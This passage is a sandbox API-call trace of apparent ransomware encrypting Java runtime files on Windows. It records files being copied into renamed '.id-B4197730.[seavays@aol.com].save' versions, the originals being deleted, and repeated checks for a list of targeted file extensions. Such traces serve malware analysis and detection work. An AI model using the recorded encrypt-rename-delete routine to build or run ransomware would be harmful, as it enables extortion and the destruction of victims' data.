lpBuffer=0x42e2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3e3fecc, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesRead=0x3e3fecc*=0x0, lpOverlapped=0x0) returned 1 [0170.251] WriteFile (in: hFile=0x53c, lpBuffer=0x42e2020*, nNumberOfBytesToWrite=0xf0, lpNumberOfBytesWritten=0x3e3fc94, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesWritten=0x3e3fc94*=0xf0, lpOverlapped=0x0) returned 1 [0170.251] SetEndOfFile (hFile=0x53c) returned 1 [0170.251] CloseHandle (hObject=0x53c) returned 1 [0170.251] SetFilePointerEx (in: hFile=0x538, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0170.251] SetEndOfFile (hFile=0x538) returned 1 [0170.255] CloseHandle (hObject=0x538) returned 1 [0170.255] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\net.properties.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x20) returned 1 [0170.255] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\net.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\net.properties")) returned 1 [0170.256] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\net.properties") returned 53 [0170.256] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\net.properties") returned 53 [0170.256] lstrlenW (lpString=".doc") returned 4 [0170.256] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1 [0170.256] lstrlenW (lpString=".docx") returned 5 [0170.256] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1 [0170.256] lstrlenW (lpString=".pdf") returned 4 [0170.256] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1 [0170.256] lstrlenW (lpString=".xls") returned 4 [0170.256] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1 [0170.256] lstrlenW (lpString=".xlsx") returned 5 [0170.256] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1 [0170.256] lstrlenW (lpString=".ppt") returned 4 [0170.256] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1 [0170.256] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\net.properties") returned 53 [0170.256] lstrlenW (lpString=".zip") returned 4 [0170.256] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1 [0170.256] lstrlenW (lpString=".rar") returned 4 [0170.256] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1 [0170.256] lstrlenW (lpString=".bz2") returned 4 [0170.256] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1 [0170.256] lstrlenW (lpString=".7z") returned 3 [0170.256] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1 [0170.256] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\net.properties") returned 53 [0170.256] lstrlenW (lpString=".dbf") returned 4 [0170.256] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1 [0170.256] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\net.properties") returned 53 [0170.256] lstrlenW (lpString=".1cd") returned 4 [0170.256] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1 [0170.256] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\net.properties") returned 53 [0170.256] lstrlenW (lpString=".jpg") returned 4 [0170.257] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1 [0170.257] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\net.properties") returned 53 [0170.257] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\net.properties") returned 53 [0170.257] lstrlenW (lpString=".doc") returned 4 [0170.257] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1 [0170.257] lstrlenW (lpString=".docx") returned 5 [0170.257] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1 [0170.257] lstrlenW (lpString=".pdf") returned 4 [0170.257] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1 [0170.257] lstrlenW (lpString=".xls") returned 4 [0170.257] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1 [0170.257] lstrlenW (lpString=".xlsx") returned 5 [0170.257] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1 [0170.257] lstrlenW (lpString=".ppt") returned 4 [0170.257] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1 [0170.257] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\net.properties") returned 53 [0170.257] lstrlenW (lpString=".zip") returned 4 [0170.257] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1 [0170.257] lstrlenW (lpString=".rar") returned 4 [0170.257] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1 [0170.257] lstrlenW (lpString=".bz2") returned 4 [0170.257] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1 [0170.257] lstrlenW (lpString=".7z") returned 3 [0170.257] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1 [0170.257] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\net.properties") returned 53 [0170.257] lstrlenW (lpString=".dbf") returned 4 [0170.257] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1 [0170.257] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\net.properties") returned 53 [0170.257] lstrlenW (lpString=".1cd") returned 4 [0170.257] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1 [0170.257] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\net.properties") returned 53 [0170.257] lstrlenW (lpString=".jpg") returned 4 [0170.258] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1 [0170.258] lstrcmpiW (lpString1=".jar", lpString2=".save") returned -1 [0170.258] lstrlenW (lpString="plugin.jar") returned 10 [0170.258] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\plugin.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\plugin.jar"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x538 [0170.258] GetFileSizeEx (in: hFile=0x538, lpFileSize=0x3e3ff14 | out: lpFileSize=0x3e3ff14*=1923211) returned 1 [0170.258] CloseHandle (hObject=0x538) returned 1 [0170.259] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\plugin.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\plugin.jar")) returned 0x20 [0170.259] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\plugin.jar.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\plugin.jar.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0170.259] MoveFileW (lpExistingFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\plugin.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\plugin.jar"), lpNewFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\plugin.jar.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\plugin.jar.id-b4197730.[seavays@aol.com].save")) returned 0 [0170.260] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\plugin.jar") returned 49 [0170.260] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\plugin.jar") returned 49 [0170.260] lstrlenW (lpString=".doc") returned 4 [0170.260] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1 [0170.260] lstrlenW (lpString=".docx") returned 5 [0170.260] lstrcmpiW (lpString1=".docx", lpString2="n.jar") returned -1 [0170.260] lstrlenW (lpString=".pdf") returned 4 [0170.260] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1 [0170.260] lstrlenW (lpString=".xls") returned 4 [0170.260] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1 [0170.260] lstrlenW (lpString=".xlsx") returned 5 [0170.260] lstrcmpiW (lpString1=".xlsx", lpString2="n.jar") returned -1 [0170.260] lstrlenW (lpString=".ppt") returned 4 [0170.260] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1 [0170.260] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\plugin.jar") returned 49 [0170.260] lstrlenW (lpString=".zip") returned 4 [0170.260] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1 [0170.260] lstrlenW (lpString=".rar") returned 4 [0170.260] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1 [0170.260] lstrlenW (lpString=".bz2") returned 4 [0170.260] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1 [0170.260] lstrlenW (lpString=".7z") returned 3 [0170.260] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1 [0170.260] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\plugin.jar") returned 49 [0170.260] lstrlenW (lpString=".dbf") returned 4 [0170.260] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1 [0170.260] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\plugin.jar") returned 49 [0170.260] lstrlenW (lpString=".1cd") returned 4 [0170.260] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1 [0170.260] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\plugin.jar") returned 49 [0170.260] lstrlenW (lpString=".jpg") returned 4 [0170.260] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1 [0170.261] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\plugin.jar") returned 49 [0170.261] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\plugin.jar") returned 49 [0170.261] lstrlenW (lpString=".doc") returned 4 [0170.261] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1 [0170.261] lstrlenW (lpString=".docx") returned 5 [0170.261] lstrcmpiW (lpString1=".docx", lpString2="n.jar") returned -1 [0170.261] lstrlenW (lpString=".pdf") returned 4 [0170.261] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1 [0170.261] lstrlenW (lpString=".xls") returned 4 [0170.261] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1 [0170.261] lstrlenW (lpString=".xlsx") returned 5 [0170.261] lstrcmpiW (lpString1=".xlsx", lpString2="n.jar") returned -1 [0170.261] lstrlenW (lpString=".ppt") returned 4 [0170.261] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1 [0170.261] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\plugin.jar") returned 49 [0170.261] lstrlenW (lpString=".zip") returned 4 [0170.261] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1 [0170.261] lstrlenW (lpString=".rar") returned 4 [0170.261] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1 [0170.261] lstrlenW (lpString=".bz2") returned 4 [0170.261] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1 [0170.261] lstrlenW (lpString=".7z") returned 3 [0170.261] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1 [0170.261] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\plugin.jar") returned 49 [0170.261] lstrlenW (lpString=".dbf") returned 4 [0170.261] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1 [0170.261] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\plugin.jar") returned 49 [0170.261] lstrlenW (lpString=".1cd") returned 4 [0170.261] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1 [0170.261] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\plugin.jar") returned 49 [0170.261] lstrlenW (lpString=".jpg") returned 4 [0170.261] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1 [0170.262] lstrcmpiW (lpString1=".ja", lpString2=".save") returned -1 [0170.262] lstrlenW (lpString="psfont.properties.ja") returned 20 [0170.262] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\psfont.properties.ja" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\psfont.properties.ja"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x538 [0170.263] GetFileSizeEx (in: hFile=0x538, lpFileSize=0x3e3ff14 | out: lpFileSize=0x3e3ff14*=2796) returned 1 [0170.263] CloseHandle (hObject=0x538) returned 1 [0170.263] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\psfont.properties.ja" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\psfont.properties.ja")) returned 0x20 [0170.263] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\psfont.properties.ja.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\psfont.properties.ja.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0170.264] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\psfont.properties.ja" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\psfont.properties.ja"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x538 [0170.264] SetFilePointerEx (in: hFile=0x538, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0170.264] SetFilePointerEx (in: hFile=0x538, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0170.264] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\psfont.properties.ja.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\psfont.properties.ja.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x53c [0170.264] GetLastError () returned 0x0 [0170.265] ReadFile (in: hFile=0x538, lpBuffer=0x42e2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3e3fecc, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesRead=0x3e3fecc*=0xaec, lpOverlapped=0x0) returned 1 [0170.266] WriteFile (in: hFile=0x53c, lpBuffer=0x42e2020*, nNumberOfBytesToWrite=0xaf0, lpNumberOfBytesWritten=0x3e3fc94, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesWritten=0x3e3fc94*=0xaf0, lpOverlapped=0x0) returned 1 [0170.267] ReadFile (in: hFile=0x538, lpBuffer=0x42e2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3e3fecc, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesRead=0x3e3fecc*=0x0, lpOverlapped=0x0) returned 1 [0170.267] WriteFile (in: hFile=0x53c, lpBuffer=0x42e2020*, nNumberOfBytesToWrite=0xfc, lpNumberOfBytesWritten=0x3e3fc94, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesWritten=0x3e3fc94*=0xfc, lpOverlapped=0x0) returned 1 [0170.267] SetEndOfFile (hFile=0x53c) returned 1 [0170.268] CloseHandle (hObject=0x53c) returned 1 [0170.268] SetFilePointerEx (in: hFile=0x538, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0170.268] SetEndOfFile (hFile=0x538) returned 1 [0170.270] CloseHandle (hObject=0x538) returned 1 [0170.270] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\psfont.properties.ja.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x20) returned 1 [0170.271] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\psfont.properties.ja" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\psfont.properties.ja")) returned 1 [0170.271] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\psfont.properties.ja") returned 59 [0170.271] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\psfont.properties.ja") returned 59 [0170.271] lstrlenW (lpString=".doc") returned 4 [0170.271] lstrcmpiW (lpString1=".doc", lpString2="s.ja") returned -1 [0170.271] lstrlenW (lpString=".docx") returned 5 [0170.271] lstrcmpiW (lpString1=".docx", lpString2="es.ja") returned -1 [0170.271] lstrlenW (lpString=".pdf") returned 4 [0170.271] lstrcmpiW (lpString1=".pdf", lpString2="s.ja") returned -1 [0170.271] lstrlenW (lpString=".xls") returned 4 [0170.271] lstrcmpiW (lpString1=".xls", lpString2="s.ja") returned -1 [0170.271] lstrlenW (lpString=".xlsx") returned 5 [0170.272] lstrcmpiW (lpString1=".xlsx", lpString2="es.ja") returned -1 [0170.272] lstrlenW (lpString=".ppt") returned 4 [0170.272] lstrcmpiW (lpString1=".ppt", lpString2="s.ja") returned -1 [0170.272] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\psfont.properties.ja") returned 59 [0170.272] lstrlenW (lpString=".zip") returned 4 [0170.272] lstrcmpiW (lpString1=".zip", lpString2="s.ja") returned -1 [0170.272] lstrlenW (lpString=".rar") returned 4 [0170.272] lstrcmpiW (lpString1=".rar", lpString2="s.ja") returned -1 [0170.272] lstrlenW (lpString=".bz2") returned 4 [0170.272] lstrcmpiW (lpString1=".bz2", lpString2="s.ja") returned -1 [0170.272] lstrlenW (lpString=".7z") returned 3 [0170.272] lstrcmpiW (lpString1=".7z", lpString2=".ja") returned -1 [0170.272] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\psfont.properties.ja") returned 59 [0170.272] lstrlenW (lpString=".dbf") returned 4 [0170.272] lstrcmpiW (lpString1=".dbf", lpString2="s.ja") returned -1 [0170.272] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\psfont.properties.ja") returned 59 [0170.272] lstrlenW (lpString=".1cd") returned 4 [0170.272] lstrcmpiW (lpString1=".1cd", lpString2="s.ja") returned -1 [0170.272] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\psfont.properties.ja") returned 59 [0170.272] lstrlenW (lpString=".jpg") returned 4 [0170.272] lstrcmpiW (lpString1=".jpg", lpString2="s.ja") returned -1 [0170.272] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\psfont.properties.ja") returned 59 [0170.272] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\psfont.properties.ja") returned 59 [0170.272] lstrlenW (lpString=".doc") returned 4 [0170.272] lstrcmpiW (lpString1=".doc", lpString2="s.ja") returned -1 [0170.272] lstrlenW (lpString=".docx") returned 5 [0170.272] lstrcmpiW (lpString1=".docx", lpString2="es.ja") returned -1 [0170.272] lstrlenW (lpString=".pdf") returned 4 [0170.272] lstrcmpiW (lpString1=".pdf", lpString2="s.ja") returned -1 [0170.272] lstrlenW (lpString=".xls") returned 4 [0170.272] lstrcmpiW (lpString1=".xls", lpString2="s.ja") returned -1 [0170.273] lstrlenW (lpString=".xlsx") returned 5 [0170.273] lstrcmpiW (lpString1=".xlsx", lpString2="es.ja") returned -1 [0170.273] lstrlenW (lpString=".ppt") returned 4 [0170.273] lstrcmpiW (lpString1=".ppt", lpString2="s.ja") returned -1 [0170.273] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\psfont.properties.ja") returned 59 [0170.273] lstrlenW (lpString=".zip") returned 4 [0170.273] lstrcmpiW (lpString1=".zip", lpString2="s.ja") returned -1 [0170.273] lstrlenW (lpString=".rar") returned 4 [0170.273] lstrcmpiW (lpString1=".rar", lpString2="s.ja") returned -1 [0170.273] lstrlenW (lpString=".bz2") returned 4 [0170.273] lstrcmpiW (lpString1=".bz2", lpString2="s.ja") returned -1 [0170.273] lstrlenW (lpString=".7z") returned 3 [0170.273] lstrcmpiW (lpString1=".7z", lpString2=".ja") returned -1 [0170.273] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\psfont.properties.ja") returned 59 [0170.273] lstrlenW (lpString=".dbf") returned 4 [0170.273] lstrcmpiW (lpString1=".dbf", lpString2="s.ja") returned -1 [0170.273] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\psfont.properties.ja") returned 59 [0170.273] lstrlenW (lpString=".1cd") returned 4 [0170.273] lstrcmpiW (lpString1=".1cd", lpString2="s.ja") returned -1 [0170.273] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\psfont.properties.ja") returned 59 [0170.273] lstrlenW (lpString=".jpg") returned 4 [0170.273] lstrcmpiW (lpString1=".jpg", lpString2="s.ja") returned -1 [0170.273] lstrcmpiW (lpString1=".properties", lpString2=".save") returned -1 [0170.273] lstrlenW (lpString="psfontj2d.properties") returned 20 [0170.273] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\psfontj2d.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\psfontj2d.properties"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x538 [0170.274] GetFileSizeEx (in: hFile=0x538, lpFileSize=0x3e3ff14 | out: lpFileSize=0x3e3ff14*=10393) returned 1 [0170.274] CloseHandle (hObject=0x538) returned 1 [0170.274] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\psfontj2d.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\psfontj2d.properties")) returned 0x20 [0170.274] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\psfontj2d.properties.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\psfontj2d.properties.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0170.275] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\psfontj2d.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\psfontj2d.properties"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x538 [0170.275] SetFilePointerEx (in: hFile=0x538, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0170.275] SetFilePointerEx (in: hFile=0x538, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0170.275] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\psfontj2d.properties.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\psfontj2d.properties.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x53c [0170.277] GetLastError () returned 0x0 [0170.277] ReadFile (in: hFile=0x538, lpBuffer=0x42e2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3e3fecc, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesRead=0x3e3fecc*=0x2899, lpOverlapped=0x0) returned 1 [0170.527] WriteFile (in: hFile=0x53c, lpBuffer=0x42e2020*, nNumberOfBytesToWrite=0x28a0, lpNumberOfBytesWritten=0x3e3fc94, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesWritten=0x3e3fc94*=0x28a0, lpOverlapped=0x0) returned 1 [0170.529] ReadFile (in: hFile=0x538, lpBuffer=0x42e2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3e3fecc, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesRead=0x3e3fecc*=0x0, lpOverlapped=0x0) returned 1 [0170.529] WriteFile (in: hFile=0x53c, lpBuffer=0x42e2020*, nNumberOfBytesToWrite=0xfc, lpNumberOfBytesWritten=0x3e3fc94, lpOverlapped=0x0 | out: lpBuffer=0x42e2020*, lpNumberOfBytesWritten=0x3e3fc94*=0xfc, lpOverlapped=0x0) returned 1 [0170.529] SetEndOfFile (hFile=0x53c) returned 1 [0170.529] CloseHandle (hObject=0x53c) returned 1 [0170.529] SetFilePointerEx (in: hFile=0x538, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e3fec0 | out: lpNewFilePointer=0x0) returned 1 [0170.529] SetEndOfFile (hFile=0x538) returned 1 [0170.636] CloseHandle (hObject=0x538) returned 1 [0170.637] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\psfontj2d.properties.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x20) returned 1 [0170.637] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\psfontj2d.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\psfontj2d.properties")) returned 1 [0170.638] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\psfontj2d.properties") returned 59 [0170.638] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\psfontj2d.properties") returned 59 [0170.638] lstrlenW (lpString=".doc") returned 4 [0170.638] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1 [0170.638] lstrlenW (lpString=".docx") returned 5 [0170.638] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1 [0170.638] lstrlenW (lpString=".pdf") returned 4 [0170.638] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1 [0170.638] lstrlenW (lpString=".xls") returned 4 [0170.638] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1 [0170.639] lstrlenW (lpString=".xlsx") returned 5 [0170.639] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1 [0170.639] lstrlenW (lpString=".ppt") returned 4 [0170.639] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1 [0170.639] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\psfontj2d.properties") returned 59 [0170.639] lstrlenW (lpString=".zip") returned 4 [0170.639] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1 [0170.639] lstrlenW (lpString=".rar") returned 4 [0170.639] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1 [0170.639] lstrlenW (lpString=".bz2") returned 4 [0170.639] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1 [0170.639] lstrlenW (lpString=".7z") returned 3 [0170.639] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1 [0170.639] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\psfontj2d.properties") returned 59 [0170.639] lstrlenW (lpString=".dbf") returned 4 [0170.639] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1 [0170.639] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\psfontj2d.properties") returned 59 [0170.639] lstrlenW (lpString=".1cd") returned 4 [0170.639] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1 [0170.639] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\psfontj2d.properties") returned 59 [0170.639] lstrlenW (lpString=".jpg") returned 4 [0170.639] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1 [0170.639] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\psfontj2d.properties") returned 59 [0170.639] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\psfontj2d.properties") returned 59 [0170.639] lstrlenW (lpString=".doc") returned 4 [0170.639] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1 [0170.639] lstrlenW (lpString=".docx") returned 5 [0170.639] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1 [0170.639] lstrlenW (lpString=".pdf") returned 4 [0170.639] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1 [0170.639] lstrlenW (lpString=".xls") returned 4 [0170.640] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1 [0170.640] lstrlenW (lpString=".xlsx") returned 5 [0170.640] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1 [0170.640] lstrlenW (lpString=".ppt") returned 4 [0170.640] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1 [0170.640] lstrlenW (lpString="C:\\Program 